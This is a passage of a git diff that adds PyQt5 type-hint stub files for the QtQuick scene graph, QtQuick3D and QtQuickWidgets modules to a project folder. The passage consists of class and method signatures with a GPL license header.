firstChild(self) -> 'QSGNode': ... + def childAtIndex(self, i: int) -> 'QSGNode': ... + def __len__(self) -> int: ... + def childCount(self) -> int: ... + def insertChildNodeAfter(self, node: 'QSGNode', after: 'QSGNode') -> None: ... + def insertChildNodeBefore(self, node: 'QSGNode', before: 'QSGNode') -> None: ... + def appendChildNode(self, node: 'QSGNode') -> None: ... + def prependChildNode(self, node: 'QSGNode') -> None: ... + def removeAllChildNodes(self) -> None: ... + def removeChildNode(self, node: 'QSGNode') -> None: ... + def parent(self) -> 'QSGNode': ... + + +class QSGBasicGeometryNode(QSGNode): + + def geometry(self) -> QSGGeometry: ... + def setGeometry(self, geometry: QSGGeometry) -> None: ... + + +class QSGGeometryNode(QSGBasicGeometryNode): + + def __init__(self) -> None: ... + + def opaqueMaterial(self) -> QSGMaterial: ... + def setOpaqueMaterial(self, material: QSGMaterial) -> None: ... + def material(self) -> QSGMaterial: ... + def setMaterial(self, material: QSGMaterial) -> None: ... + + +class QSGImageNode(QSGGeometryNode): + + class TextureCoordinatesTransformFlag(int): + NoTransform = ... # type: QSGImageNode.TextureCoordinatesTransformFlag + MirrorHorizontally = ... # type: QSGImageNode.TextureCoordinatesTransformFlag + MirrorVertically = ... # type: QSGImageNode.TextureCoordinatesTransformFlag + + class TextureCoordinatesTransformMode(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QSGImageNode.TextureCoordinatesTransformMode', 'QSGImageNode.TextureCoordinatesTransformFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QSGImageNode.TextureCoordinatesTransformMode') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QSGImageNode.TextureCoordinatesTransformMode': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @staticmethod + def rebuildGeometry(g: QSGGeometry, texture: 'QSGTexture', rect: QtCore.QRectF, sourceRect: QtCore.QRectF, texCoordMode: typing.Union['QSGImageNode.TextureCoordinatesTransformMode', 'QSGImageNode.TextureCoordinatesTransformFlag']) -> None: ... + def ownsTexture(self) -> bool: ... + def setOwnsTexture(self, owns: bool) -> None: ... + def textureCoordinatesTransform(self) -> 'QSGImageNode.TextureCoordinatesTransformMode': ... + def setTextureCoordinatesTransform(self, mode: typing.Union['QSGImageNode.TextureCoordinatesTransformMode', 'QSGImageNode.TextureCoordinatesTransformFlag']) -> None: ... + def mipmapFiltering(self) -> 'QSGTexture.Filtering': ... + def setMipmapFiltering(self, filtering: 'QSGTexture.Filtering') -> None: ... + def filtering(self) -> 'QSGTexture.Filtering': ... + def setFiltering(self, filtering: 'QSGTexture.Filtering') -> None: ... + def texture(self) -> 'QSGTexture': ... + def setTexture(self, texture: 'QSGTexture') -> None: ... + def sourceRect(self) -> QtCore.QRectF: ... + @typing.overload + def setSourceRect(self, r: QtCore.QRectF) -> None: ... + @typing.overload + def setSourceRect(self, x: float, y: float, w: float, h: float) -> None: ... + def rect(self) -> QtCore.QRectF: ... + @typing.overload + def setRect(self, rect: QtCore.QRectF) -> None: ... + @typing.overload + def setRect(self, x: float, y: float, w: float, h: float) -> None: ... + + +class QSGMaterialShader(PyQt5.sip.wrapper): + + class RenderState(sip.simplewrapper): + + class DirtyState(int): + DirtyMatrix = ... # type: QSGMaterialShader.RenderState.DirtyState + DirtyOpacity = ... # type: QSGMaterialShader.RenderState.DirtyState + DirtyCachedMaterialData = ... # type: QSGMaterialShader.RenderState.DirtyState + DirtyAll = ... # type: QSGMaterialShader.RenderState.DirtyState + + class DirtyStates(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QSGMaterialShader.RenderState.DirtyStates', 'QSGMaterialShader.RenderState.DirtyState']) -> None: ... + @typing.overload + def __init__(self, a0: 'QSGMaterialShader.RenderState.DirtyStates') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QSGMaterialShader.RenderState.DirtyStates': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QSGMaterialShader.RenderState') -> None: ... + + def isCachedMaterialDataDirty(self) -> bool: ... + def devicePixelRatio(self) -> float: ... + def projectionMatrix(self) -> QtGui.QMatrix4x4: ... + def context(self) -> QtGui.QOpenGLContext: ... + def determinant(self) -> float: ... + def deviceRect(self) -> QtCore.QRect: ... + def viewportRect(self) -> QtCore.QRect: ... + def modelViewMatrix(self) -> QtGui.QMatrix4x4: ... + def combinedMatrix(self) -> QtGui.QMatrix4x4: ... + def opacity(self) -> float: ... + def isOpacityDirty(self) -> bool: ... + def isMatrixDirty(self) -> bool: ... + def dirtyStates(self) -> 'QSGMaterialShader.RenderState.DirtyStates': ... + + def __init__(self) -> None: ... + + def setShaderSourceFiles(self, type: typing.Union[QtGui.QOpenGLShader.ShaderType, QtGui.QOpenGLShader.ShaderTypeBit], sourceFiles: typing.Iterable[str]) -> None: ... + def setShaderSourceFile(self, type: typing.Union[QtGui.QOpenGLShader.ShaderType, QtGui.QOpenGLShader.ShaderTypeBit], sourceFile: str) -> None: ... + def fragmentShader(self) -> str: ... + def vertexShader(self) -> str: ... + def initialize(self) -> None: ... + def compile(self) -> None: ... + def program(self) -> QtGui.QOpenGLShaderProgram: ... + def attributeNames(self) -> typing.List[str]: ... + def updateState(self, state: 'QSGMaterialShader.RenderState', newMaterial: QSGMaterial, oldMaterial: QSGMaterial) -> None: ... + def deactivate(self) -> None: ... + def activate(self) -> None: ... + + +class QSGMaterialType(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QSGMaterialType') -> None: ... + + +class QSGMaterialRhiShader(QSGMaterialShader): + + class Flag(int): + UpdatesGraphicsPipelineState = ... # type: QSGMaterialRhiShader.Flag + + class RenderState(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QSGMaterialRhiShader.RenderState') -> None: ... + + def uniformData(self) -> QtCore.QByteArray: ... + def devicePixelRatio(self) -> float: ... + def determinant(self) -> float: ... + def deviceRect(self) -> QtCore.QRect: ... + def viewportRect(self) -> QtCore.QRect: ... + def projectionMatrix(self) -> QtGui.QMatrix4x4: ... + def modelViewMatrix(self) -> QtGui.QMatrix4x4: ... + def combinedMatrix(self) -> QtGui.QMatrix4x4: ... + def opacity(self) -> float: ... + def isOpacityDirty(self) -> bool: ... + def isMatrixDirty(self) -> bool: ... + def dirtyStates(self) -> QSGMaterialShader.RenderState.DirtyStates: ... + + class GraphicsPipelineState(sip.simplewrapper): + + class CullMode(int): + CullNone = ... # type: QSGMaterialRhiShader.GraphicsPipelineState.CullMode + CullFront = ... # type: QSGMaterialRhiShader.GraphicsPipelineState.CullMode + CullBack = ... # type: QSGMaterialRhiShader.GraphicsPipelineState.CullMode + + class ColorMaskComponent(int): + R = ... # type: QSGMaterialRhiShader.GraphicsPipelineState.ColorMaskComponent + G = ... # type: QSGMaterialRhiShader.GraphicsPipelineState.ColorMaskComponent + B = ... # type: QSGMaterialRhiShader.GraphicsPipelineState.ColorMaskComponent + A = ... # type: QSGMaterialRhiShader.GraphicsPipelineState.ColorMaskComponent + + class BlendFactor(int): + Zero = ... # type: QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor + One = ... # type: QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor + SrcColor = ... # type: QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor + OneMinusSrcColor = ... # type: QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor + DstColor = ... # type: QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor + OneMinusDstColor = ... # type: QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor + SrcAlpha = ... # type: QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor + OneMinusSrcAlpha = ... # type: QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor + DstAlpha = ... # type: QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor + OneMinusDstAlpha = ... # type: QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor + ConstantColor = ... # type: QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor + OneMinusConstantColor = ... # type: QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor + ConstantAlpha = ... # type: QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor + OneMinusConstantAlpha = ... # type: QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor + SrcAlphaSaturate = ... # type: QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor + Src1Color = ... # type: QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor + OneMinusSrc1Color = ... # type: QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor + Src1Alpha = ... # type: QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor + OneMinusSrc1Alpha = ... # type: QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor + + class ColorMask(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QSGMaterialRhiShader.GraphicsPipelineState.ColorMask', 'QSGMaterialRhiShader.GraphicsPipelineState.ColorMaskComponent']) -> None: ... + @typing.overload + def __init__(self, a0: 'QSGMaterialRhiShader.GraphicsPipelineState.ColorMask') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QSGMaterialRhiShader.GraphicsPipelineState.ColorMask': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QSGMaterialRhiShader.GraphicsPipelineState') -> None: ... + + class Flags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QSGMaterialRhiShader.Flags', 'QSGMaterialRhiShader.Flag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QSGMaterialRhiShader.Flags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QSGMaterialRhiShader.Flags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self) -> None: ... + + def setFlag(self, flags: typing.Union['QSGMaterialRhiShader.Flags', 'QSGMaterialRhiShader.Flag'], on: bool = ...) -> None: ... + def flags(self) -> 'QSGMaterialRhiShader.Flags': ... + def updateGraphicsPipelineState(self, state: 'QSGMaterialRhiShader.RenderState', ps: 'QSGMaterialRhiShader.GraphicsPipelineState', newMaterial: QSGMaterial, oldMaterial: QSGMaterial) -> bool: ... + def updateSampledImage(self, state: 'QSGMaterialRhiShader.RenderState', binding: int, newMaterial: QSGMaterial, oldMaterial: QSGMaterial) -> 'QSGTexture': ... + def updateUniformData(self, state: 'QSGMaterialRhiShader.RenderState', newMaterial: QSGMaterial, oldMaterial: QSGMaterial) -> bool: ... + + +class QSGClipNode(QSGBasicGeometryNode): + + def __init__(self) -> None: ... + + def clipRect(self) -> QtCore.QRectF: ... + def setClipRect(self, a0: QtCore.QRectF) -> None: ... + def isRectangular(self) -> bool: ... + def setIsRectangular(self, rectHint: bool) -> None: ... + + +class QSGTransformNode(QSGNode): + + def __init__(self) -> None: ... + + def matrix(self) -> QtGui.QMatrix4x4: ... + def setMatrix(self, matrix: QtGui.QMatrix4x4) -> None: ... + + +class QSGOpacityNode(QSGNode): + + def __init__(self) -> None: ... + + def opacity(self) -> float: ... + def setOpacity(self, opacity: float) -> None: ... + + +class QSGRectangleNode(QSGGeometryNode): + + def color(self) -> QtGui.QColor: ... + def setColor(self, color: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor]) -> None: ... + def rect(self) -> QtCore.QRectF: ... + @typing.overload + def setRect(self, rect: QtCore.QRectF) -> None: ... + @typing.overload + def setRect(self, x: float, y: float, w: float, h: float) -> None: ... + + +class QSGRendererInterface(sip.simplewrapper): + + class ShaderSourceType(int): + ShaderSourceString = ... # type: QSGRendererInterface.ShaderSourceType + ShaderSourceFile = ... # type: QSGRendererInterface.ShaderSourceType + ShaderByteCode = ... # type: QSGRendererInterface.ShaderSourceType + + class ShaderCompilationType(int): + RuntimeCompilation = ... # type: QSGRendererInterface.ShaderCompilationType + OfflineCompilation = ... # type: QSGRendererInterface.ShaderCompilationType + + class ShaderType(int): + UnknownShadingLanguage = ... # type: QSGRendererInterface.ShaderType + GLSL = ... # type: QSGRendererInterface.ShaderType + HLSL = ... # type: QSGRendererInterface.ShaderType + RhiShader = ... # type: QSGRendererInterface.ShaderType + + class Resource(int): + DeviceResource = ... # type: QSGRendererInterface.Resource + CommandQueueResource = ... # type: QSGRendererInterface.Resource + CommandListResource = ... # type: QSGRendererInterface.Resource + PainterResource = ... # type: QSGRendererInterface.Resource + RhiResource = ... # type: QSGRendererInterface.Resource + PhysicalDeviceResource = ... # type: QSGRendererInterface.Resource + OpenGLContextResource = ... # type: QSGRendererInterface.Resource + DeviceContextResource = ... # type: QSGRendererInterface.Resource + CommandEncoderResource = ... # type: QSGRendererInterface.Resource + VulkanInstanceResource = ... # type: QSGRendererInterface.Resource + RenderPassResource = ... # type: QSGRendererInterface.Resource + + class GraphicsApi(int): + Unknown = ... # type: QSGRendererInterface.GraphicsApi + Software = ... # type: QSGRendererInterface.GraphicsApi + OpenGL = ... # type: QSGRendererInterface.GraphicsApi + Direct3D12 = ... # type: QSGRendererInterface.GraphicsApi + OpenVG = ... # type: QSGRendererInterface.GraphicsApi + OpenGLRhi = ... # type: QSGRendererInterface.GraphicsApi + Direct3D11Rhi = ... # type: QSGRendererInterface.GraphicsApi + VulkanRhi = ... # type: QSGRendererInterface.GraphicsApi + MetalRhi = ... # type: QSGRendererInterface.GraphicsApi + NullRhi = ... # type: QSGRendererInterface.GraphicsApi + + class ShaderCompilationTypes(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QSGRendererInterface.ShaderCompilationTypes', 'QSGRendererInterface.ShaderCompilationType']) -> None: ... + @typing.overload + def __init__(self, a0: 'QSGRendererInterface.ShaderCompilationTypes') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QSGRendererInterface.ShaderCompilationTypes': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class ShaderSourceTypes(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QSGRendererInterface.ShaderSourceTypes', 'QSGRendererInterface.ShaderSourceType']) -> None: ... + @typing.overload + def __init__(self, a0: 'QSGRendererInterface.ShaderSourceTypes') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QSGRendererInterface.ShaderSourceTypes': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @staticmethod + def isApiRhiBased(api: 'QSGRendererInterface.GraphicsApi') -> bool: ... + def shaderSourceType(self) -> 'QSGRendererInterface.ShaderSourceTypes': ... + def shaderCompilationType(self) -> 'QSGRendererInterface.ShaderCompilationTypes': ... + def shaderType(self) -> 'QSGRendererInterface.ShaderType': ... + @typing.overload + def getResource(self, window: QQuickWindow, resource: 'QSGRendererInterface.Resource') -> PyQt5.sip.voidptr: ... + @typing.overload + def getResource(self, window: QQuickWindow, resource: str) -> PyQt5.sip.voidptr: ... + def graphicsApi(self) -> 'QSGRendererInterface.GraphicsApi': ... + + +class QSGRenderNode(QSGNode): + + class RenderingFlag(int): + BoundedRectRendering = ... # type: QSGRenderNode.RenderingFlag + DepthAwareRendering = ... # type: QSGRenderNode.RenderingFlag + OpaqueRendering = ... # type: QSGRenderNode.RenderingFlag + + class StateFlag(int): + DepthState = ... # type: QSGRenderNode.StateFlag + StencilState = ... # type: QSGRenderNode.StateFlag + ScissorState = ... # type: QSGRenderNode.StateFlag + ColorState = ... # type: QSGRenderNode.StateFlag + BlendState = ... # type: QSGRenderNode.StateFlag + CullState = ... # type: QSGRenderNode.StateFlag + ViewportState = ... # type: QSGRenderNode.StateFlag + RenderTargetState = ... # type: QSGRenderNode.StateFlag + + class StateFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QSGRenderNode.StateFlags', 'QSGRenderNode.StateFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QSGRenderNode.StateFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QSGRenderNode.StateFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class RenderingFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QSGRenderNode.RenderingFlags', 'QSGRenderNode.RenderingFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QSGRenderNode.RenderingFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QSGRenderNode.RenderingFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class RenderState(sip.simplewrapper): + + def get(self, state: str) -> PyQt5.sip.voidptr: ... + def clipRegion(self) -> QtGui.QRegion: ... + def stencilEnabled(self) -> bool: ... + def stencilValue(self) -> int: ... + def scissorEnabled(self) -> bool: ... + def scissorRect(self) -> QtCore.QRect: ... + def projectionMatrix(self) -> QtGui.QMatrix4x4: ... + + def __init__(self) -> None: ... + + def inheritedOpacity(self) -> float: ... + def clipList(self) -> QSGClipNode: ... + def matrix(self) -> QtGui.QMatrix4x4: ... + def rect(self) -> QtCore.QRectF: ... + def flags(self) -> 'QSGRenderNode.RenderingFlags': ... + def releaseResources(self) -> None: ... + def render(self, state: 'QSGRenderNode.RenderState') -> None: ... + def changedStates(self) -> 'QSGRenderNode.StateFlags': ... + + +class QSGSimpleRectNode(QSGGeometryNode): + + @typing.overload + def __init__(self, rect: QtCore.QRectF, color: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor]) -> None: ... + @typing.overload + def __init__(self) -> None: ... + + def color(self) -> QtGui.QColor: ... + def setColor(self, color: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor]) -> None: ... + def rect(self) -> QtCore.QRectF: ... + @typing.overload + def setRect(self, rect: QtCore.QRectF) -> None: ... + @typing.overload + def setRect(self, x: float, y: float, w: float, h: float) -> None: ... + + +class QSGSimpleTextureNode(QSGGeometryNode): + + class TextureCoordinatesTransformFlag(int): + NoTransform = ... # type: QSGSimpleTextureNode.TextureCoordinatesTransformFlag + MirrorHorizontally = ... # type: QSGSimpleTextureNode.TextureCoordinatesTransformFlag + MirrorVertically = ... # type: QSGSimpleTextureNode.TextureCoordinatesTransformFlag + + class TextureCoordinatesTransformMode(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QSGSimpleTextureNode.TextureCoordinatesTransformMode', 'QSGSimpleTextureNode.TextureCoordinatesTransformFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QSGSimpleTextureNode.TextureCoordinatesTransformMode') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QSGSimpleTextureNode.TextureCoordinatesTransformMode': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self) -> None: ... + + def sourceRect(self) -> QtCore.QRectF: ... + @typing.overload + def setSourceRect(self, r: QtCore.QRectF) -> None: ... + @typing.overload + def setSourceRect(self, x: float, y: float, w: float, h: float) -> None: ... + def ownsTexture(self) -> bool: ... + def setOwnsTexture(self, owns: bool) -> None: ... + def textureCoordinatesTransform(self) -> 'QSGSimpleTextureNode.TextureCoordinatesTransformMode': ... + def setTextureCoordinatesTransform(self, mode: typing.Union['QSGSimpleTextureNode.TextureCoordinatesTransformMode', 'QSGSimpleTextureNode.TextureCoordinatesTransformFlag']) -> None: ... + def filtering(self) -> 'QSGTexture.Filtering': ... + def setFiltering(self, filtering: 'QSGTexture.Filtering') -> None: ... + def texture(self) -> 'QSGTexture': ... + def setTexture(self, texture: 'QSGTexture') -> None: ... + def rect(self) -> QtCore.QRectF: ... + @typing.overload + def setRect(self, rect: QtCore.QRectF) -> None: ... + @typing.overload + def setRect(self, x: float, y: float, w: float, h: float) -> None: ... + + +class QSGTexture(QtCore.QObject): + + class AnisotropyLevel(int): + AnisotropyNone = ... # type: QSGTexture.AnisotropyLevel + Anisotropy2x = ... # type: QSGTexture.AnisotropyLevel + Anisotropy4x = ... # type: QSGTexture.AnisotropyLevel + Anisotropy8x = ... # type: QSGTexture.AnisotropyLevel + Anisotropy16x = ... # type: QSGTexture.AnisotropyLevel + + class Filtering(int): + None_ = ... # type: QSGTexture.Filtering + Nearest = ... # type: QSGTexture.Filtering + Linear = ... # type: QSGTexture.Filtering + + class WrapMode(int): + Repeat = ... # type: QSGTexture.WrapMode + ClampToEdge = ... # type: QSGTexture.WrapMode + MirroredRepeat = ... # type: QSGTexture.WrapMode + + class NativeTexture(sip.simplewrapper): + + layout = ... # type: int + object = ... # type: PyQt5.sip.voidptr + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QSGTexture.NativeTexture') -> None: ... + + def __init__(self) -> None: ... + + def nativeTexture(self) -> 'QSGTexture.NativeTexture': ... + def comparisonKey(self) -> int: ... + def anisotropyLevel(self) -> 'QSGTexture.AnisotropyLevel': ... + def setAnisotropyLevel(self, level: 'QSGTexture.AnisotropyLevel') -> None: ... + def convertToNormalizedSourceRect(self, rect: QtCore.QRectF) -> QtCore.QRectF: ... + def verticalWrapMode(self) -> 'QSGTexture.WrapMode': ... + def setVerticalWrapMode(self, vwrap: 'QSGTexture.WrapMode') -> None: ... + def horizontalWrapMode(self) -> 'QSGTexture.WrapMode': ... + def setHorizontalWrapMode(self, hwrap: 'QSGTexture.WrapMode') -> None: ... + def filtering(self) -> 'QSGTexture.Filtering': ... + def setFiltering(self, filter: 'QSGTexture.Filtering') -> None: ... + def mipmapFiltering(self) -> 'QSGTexture.Filtering': ... + def setMipmapFiltering(self, filter: 'QSGTexture.Filtering') -> None: ... + def updateBindOptions(self, force: bool = ...) -> None: ... + def bind(self) -> None: ... + def removedFromAtlas(self) -> 'QSGTexture': ... + def isAtlasTexture(self) -> bool: ... + def normalizedTextureSubRect(self) -> QtCore.QRectF: ... + def hasMipmaps(self) -> bool: ... + def hasAlphaChannel(self) -> bool: ... + def textureSize(self) -> QtCore.QSize: ... + def textureId(self) -> int: ... + + +class QSGDynamicTexture(QSGTexture): + + def __init__(self) -> None: ... + + def updateTexture(self) -> bool: ... + + +class QSGOpaqueTextureMaterial(QSGMaterial): + + def __init__(self) -> None: ... + + def anisotropyLevel(self) -> QSGTexture.AnisotropyLevel: ... + def setAnisotropyLevel(self, level: QSGTexture.AnisotropyLevel) -> None: ... + def verticalWrapMode(self) -> QSGTexture.WrapMode: ... + def setVerticalWrapMode(self, mode: QSGTexture.WrapMode) -> None: ... + def horizontalWrapMode(self) -> QSGTexture.WrapMode: ... + def setHorizontalWrapMode(self, mode: QSGTexture.WrapMode) -> None: ... + def filtering(self) -> QSGTexture.Filtering: ... + def setFiltering(self, filtering: QSGTexture.Filtering) -> None: ... + def mipmapFiltering(self) -> QSGTexture.Filtering: ... + def setMipmapFiltering(self, filtering: QSGTexture.Filtering) -> None: ... + def texture(self) -> QSGTexture: ... + def setTexture(self, texture: QSGTexture) -> None: ... + def compare(self, other: QSGMaterial) -> int: ... + def createShader(self) -> QSGMaterialShader: ... + def type(self) -> QSGMaterialType: ... + + +class QSGTextureMaterial(QSGOpaqueTextureMaterial): + + def __init__(self) -> None: ... + + def createShader(self) -> QSGMaterialShader: ... + def type(self) -> QSGMaterialType: ... + + +class QSGTextureProvider(QtCore.QObject): + + def __init__(self) -> None: ... + + def textureChanged(self) -> None: ... + def texture(self) -> QSGTexture: ... + + +class QSGVertexColorMaterial(QSGMaterial): + + def __init__(self) -> None: ... + + def createShader(self) -> QSGMaterialShader: ... + def type(self) -> QSGMaterialType: ... + def compare(self, other: QSGMaterial) -> int: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtQuick3D.pyi b/OTHERS/Jarvis/ools/PyQt5/QtQuick3D.pyi new file mode 100644 index 00000000..317fed96 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtQuick3D.pyi @@ -0,0 +1,128 @@ +# The PEP 484 type hints stub file for the QtQuick3D module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtQml +from PyQt5 import QtGui +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + +# Convenient aliases for complicated OpenGL types. +PYQT_OPENGL_ARRAY = typing.Union[typing.Sequence[int], typing.Sequence[float], + PyQt5.sip.Buffer, None] +PYQT_OPENGL_BOUND_ARRAY = typing.Union[typing.Sequence[int], + typing.Sequence[float], PyQt5.sip.Buffer, int, None] + + +class QQuick3D(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QQuick3D') -> None: ... + + @staticmethod + def idealSurfaceFormat(samples: int = ...) -> QtGui.QSurfaceFormat: ... + + +class QQuick3DObject(QtCore.QObject, QtQml.QQmlParserStatus): + + def __init__(self, parent: typing.Optional['QQuick3DObject'] = ...) -> None: ... + + def componentComplete(self) -> None: ... + def classBegin(self) -> None: ... + def stateChanged(self) -> None: ... + def setParentItem(self, parentItem: 'QQuick3DObject') -> None: ... + def parentItem(self) -> 'QQuick3DObject': ... + def setState(self, state: str) -> None: ... + def state(self) -> str: ... + + +class QQuick3DGeometry(QQuick3DObject): + + class PrimitiveType(int): + Unknown = ... # type: QQuick3DGeometry.PrimitiveType + Points = ... # type: QQuick3DGeometry.PrimitiveType + LineStrip = ... # type: QQuick3DGeometry.PrimitiveType + Lines = ... # type: QQuick3DGeometry.PrimitiveType + TriangleStrip = ... # type: QQuick3DGeometry.PrimitiveType + TriangleFan = ... # type: QQuick3DGeometry.PrimitiveType + Triangles = ... # type: QQuick3DGeometry.PrimitiveType + + class Attribute(sip.simplewrapper): + + class ComponentType(int): + DefaultType = ... # type: QQuick3DGeometry.Attribute.ComponentType + U16Type = ... # type: QQuick3DGeometry.Attribute.ComponentType + U32Type = ... # type: QQuick3DGeometry.Attribute.ComponentType + F32Type = ... # type: QQuick3DGeometry.Attribute.ComponentType + + class Semantic(int): + UnknownSemantic = ... # type: QQuick3DGeometry.Attribute.Semantic + IndexSemantic = ... # type: QQuick3DGeometry.Attribute.Semantic + PositionSemantic = ... # type: QQuick3DGeometry.Attribute.Semantic + NormalSemantic = ... # type: QQuick3DGeometry.Attribute.Semantic + TexCoordSemantic = ... # type: QQuick3DGeometry.Attribute.Semantic + TangentSemantic = ... # type: QQuick3DGeometry.Attribute.Semantic + BinormalSemantic = ... # type: QQuick3DGeometry.Attribute.Semantic + + componentType = ... # type: 'QQuick3DGeometry.Attribute.ComponentType' + offset = ... # type: int + semantic = ... # type: 'QQuick3DGeometry.Attribute.Semantic' + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QQuick3DGeometry.Attribute') -> None: ... + + def __init__(self, parent: typing.Optional[QQuick3DObject] = ...) -> None: ... + + def nameChanged(self) -> None: ... + def setName(self, name: str) -> None: ... + def clear(self) -> None: ... + @typing.overload + def addAttribute(self, semantic: 'QQuick3DGeometry.Attribute.Semantic', offset: int, componentType: 'QQuick3DGeometry.Attribute.ComponentType') -> None: ... + @typing.overload + def addAttribute(self, att: 'QQuick3DGeometry.Attribute') -> None: ... + def setPrimitiveType(self, type: 'QQuick3DGeometry.PrimitiveType') -> None: ... + def setBounds(self, min: QtGui.QVector3D, max: QtGui.QVector3D) -> None: ... + def setStride(self, stride: int) -> None: ... + def setIndexData(self, data: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def setVertexData(self, data: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def stride(self) -> int: ... + def boundsMax(self) -> QtGui.QVector3D: ... + def boundsMin(self) -> QtGui.QVector3D: ... + def primitiveType(self) -> 'QQuick3DGeometry.PrimitiveType': ... + def attribute(self, index: int) -> 'QQuick3DGeometry.Attribute': ... + def attributeCount(self) -> int: ... + def indexBuffer(self) -> QtCore.QByteArray: ... + def vertexBuffer(self) -> QtCore.QByteArray: ... + def name(self) -> str: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtQuickWidgets.pyi b/OTHERS/Jarvis/ools/PyQt5/QtQuickWidgets.pyi new file mode 100644 index 00000000..8ee15f95 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtQuickWidgets.pyi @@ -0,0 +1,103 @@ +# The PEP 484 type hints stub file for the QtQuickWidgets module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# 